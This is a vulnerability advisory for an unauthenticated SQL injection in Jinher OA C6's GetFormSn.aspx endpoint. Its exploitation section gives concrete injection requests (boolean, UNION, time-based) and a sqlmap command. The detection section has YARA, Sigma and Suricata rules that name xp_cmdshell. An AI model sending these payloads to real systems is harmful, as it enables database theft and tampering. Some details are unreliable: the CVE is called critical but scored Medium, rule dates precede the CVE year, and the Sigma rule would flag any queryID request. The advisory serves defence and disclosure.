CVE-2026-11412

Executive Summary

CVE-2026-11412 is a critical SQL injection vulnerability in Jinher OA C6, specifically in the /C6/JHSoft.Web.ModuleCount/GetFormSn.aspx endpoint. The flaw allows unauthenticated remote attackers to manipulate the queryID parameter, leading to arbitrary SQL execution. With a CVSS score of 6.3 (Medium), the vulnerability poses a significant risk to confidentiality, integrity, and availability of the underlying database. Public exploit code is available, and the vendor has not responded to disclosure, leaving systems unpatched. This report provides a comprehensive technical analysis, detection rules, and exploitation guidance for both Red and Blue teams.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. The vulnerability is easily exploitable remotely without authentication, but the impact is limited to partial data exposure and limited modification. However, in many enterprise environments, this can lead to lateral movement or privilege escalation.

Deep Dive & Mechanics

The vulnerability resides in the GetFormSn.aspx page of Jinher OA C6. The queryID parameter is passed directly into a SQL query without proper sanitization or parameterization. An attacker can inject SQL commands by crafting a malicious queryID value, such as:

/C6/JHSoft.Web.ModuleCount/GetFormSn.aspx?queryID=1' OR '1'='1

This injection can be used to extract data, modify records, or execute administrative commands on the database server. The application likely uses Microsoft SQL Server or a similar relational database, as Jinher OA C6 is a Chinese enterprise OA system.

The lack of input validation and the use of dynamic SQL construction are the root causes. The vendor’s unresponsiveness means no official patch exists, making this a zero-day in practice.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

string queryID = Request.QueryString["queryID"];
string sql = "SELECT * FROM FormSn WHERE ID = " + queryID;
SqlCommand cmd = new SqlCommand(sql, connection);

Patched Code (Recommended):

string queryID = Request.QueryString["queryID"];
string sql = "SELECT * FROM FormSn WHERE ID = @queryID";
SqlCommand cmd = new SqlCommand(sql, connection);
cmd.Parameters.AddWithValue("@queryID", queryID);

The patched version uses parameterized queries, preventing SQL injection. Since no official patch exists, organizations must implement this fix manually or use a WAF.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable instance of Jinher OA C6 (e.g., using a Docker image or a VM with the software installed).
2. Ensure the /C6/JHSoft.Web.ModuleCount/GetFormSn.aspx endpoint is accessible.

Exploitation Steps:

1. Basic Injection:

   GET /C6/JHSoft.Web.ModuleCount/GetFormSn.aspx?queryID=1' OR '1'='1 HTTP/1.1
   Host: target.com
   

   This returns all rows from the underlying table.

2. Extract Database Version:

   GET /C6/JHSoft.Web.ModuleCount/GetFormSn.aspx?queryID=1' UNION SELECT @@version, NULL, NULL-- HTTP/1.1
   Host: target.com
   

3. Blind SQL Injection (Time-based):

   GET /C6/JHSoft.Web.ModuleCount/GetFormSn.aspx?queryID=1' IF (1=1) WAITFOR DELAY '0:0:5'-- HTTP/1.1
   Host: target.com
   

Automation with sqlmap:

sqlmap -u "http://target.com/C6/JHSoft.Web.ModuleCount/GetFormSn.aspx?queryID=1" --batch --dbs

Blue Team

Detection:

• Monitor for abnormal queryID parameters containing SQL keywords (e.g., OR, UNION, SELECT, WAITFOR).
• Use WAF rules to block requests with SQL injection patterns.
• Enable database query logging to identify suspicious queries.

Mitigation:

• Apply a virtual patch using a WAF (e.g., ModSecurity rule).
• Restrict network access to the OA system.
• Implement input validation and parameterized queries in the application code.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /C6/JHSoft.Web.ModuleCount/GetFormSn.aspx with queryID containing SQL metacharacters (e.g., ', --, ;).
  • Unusual database error messages in HTTP responses (e.g., "Incorrect syntax near").
  • Outbound database connections from the web server to unexpected IPs.

• File IOCs:

  • Modified web.config or application DLLs (if attacker uploads webshell).
  • Suspicious log entries in IIS logs with long queryID values.

• System IOCs:

  • New database users or elevated privileges.
  • Unusual database queries (e.g., xp_cmdshell execution).

Detection Engineering

YARA Rule

rule CVE_2026_11412_SQLi_QueryID {
    meta:
        description = "Detects SQL injection attempts targeting queryID parameter in Jinher OA C6"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-11412"
    strings:
        $s1 = "queryID=" nocase
        $s2 = "' OR " nocase
        $s3 = "UNION SELECT" nocase
        $s4 = "WAITFOR DELAY" nocase
        $s5 = "xp_cmdshell" nocase
    condition:
        $s1 and any of ($s2, $s3, $s4, $s5)
}

Sigma Rule

title: SQL Injection Attempt Against Jinher OA C6 GetFormSn.aspx
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts targeting the queryID parameter in Jinher OA C6
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-uri-query|contains: 
            - "queryID="
            - "' OR "
            - "UNION SELECT"
            - "WAITFOR DELAY"
            - "xp_cmdshell"
    condition: selection
falsepositives:
    - Legitimate use of special characters in queryID (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-11412 SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/C6/JHSoft.Web.ModuleCount/GetFormSn.aspx"; http_uri; content:"queryID="; http_uri; pcre:"/queryID=[^&]*(\x27|OR|UNION|WAITFOR|xp_cmdshell)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Apply a WAF rule to block SQL injection patterns in the queryID parameter.
   • Restrict access to the /C6/JHSoft.Web.ModuleCount/ directory via IP whitelisting or VPN.
   • Monitor logs for exploitation attempts.

2. Long-term Fix:

   • Since the vendor is unresponsive, implement a custom patch by modifying the GetFormSn.aspx code to use parameterized queries.
   • Consider migrating to a supported OA platform.

3. Compromise Assessment:

   • Check database logs for unauthorized queries.
   • Scan for webshells or backdoors in the web root.
   • Review user accounts and privileges.

4. Prevention:

   • Enforce secure coding practices (input validation, parameterized queries).
   • Conduct regular security audits and penetration testing.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert